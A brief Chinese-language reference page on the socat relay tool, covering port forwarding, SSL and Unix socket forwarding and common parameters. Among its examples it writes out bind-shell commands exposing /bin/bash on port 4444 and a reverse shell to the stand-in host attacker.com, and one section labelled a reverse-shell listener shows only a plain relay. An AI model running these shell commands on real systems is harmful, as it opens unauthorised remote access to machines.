---
title: "socat"
weight: 70
description: "网络数据中继工具"
date: "2026-03-24T16:29:46+08:00"
lastmod: "2026-03-24T16:29:46+08:00"
---

## socat

socat 是一款网络数据中继工具，用于建立各种网络连接和端口转发。

## 基础使用

### 本地端口转发
```bash
socat TCP-LISTEN:8080,fork TCP:internal-server:80
```

### 监听并执行
```bash
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
```

### 反向 shell 监听
```bash
socat -d -d TCP-LISTEN:4444,reuseaddr,fork TCP:attacker:4444
```

### SSL 连接
```bash
socat OPENSSL-LISTEN:443,reuseaddr,fork OPENSSL:internal:80
```

## 常用参数

| 参数 | 描述 |
|------|------|
| TCP-LISTEN | TCP 监听 |
| TCP | TCP 连接 |
| fork | 派生子进程 |
| reuseaddr | 重用地址 |
| EXEC | 执行命令 |
| SYSTEM | 系统命令 |

## 功能特性

- **多协议支持** - TCP、UDP、SSL、Unix Socket
- **端口转发** - 本地和远程转发
- **命令执行** - 绑定 shell
- **SSL 支持** - 加密传输
- **调试模式** - 详细日志

## 使用示例

```bash
# 端口转发
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

# 绑定 shell
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

# 反向 shell
socat TCP:attacker.com:4444 EXEC:/bin/bash

# SSL 转发
socat OPENSSL-LISTEN:443,reuseaddr,fork OPENSSL:internal:80

# Unix Socket 转发
socat UNIX-LISTEN:/tmp/socket1,fork UNIX-CONNECT:/tmp/socket2
```

## 参考资源

- [socat 官方文档](http://www.dest-unreach.org/socat/)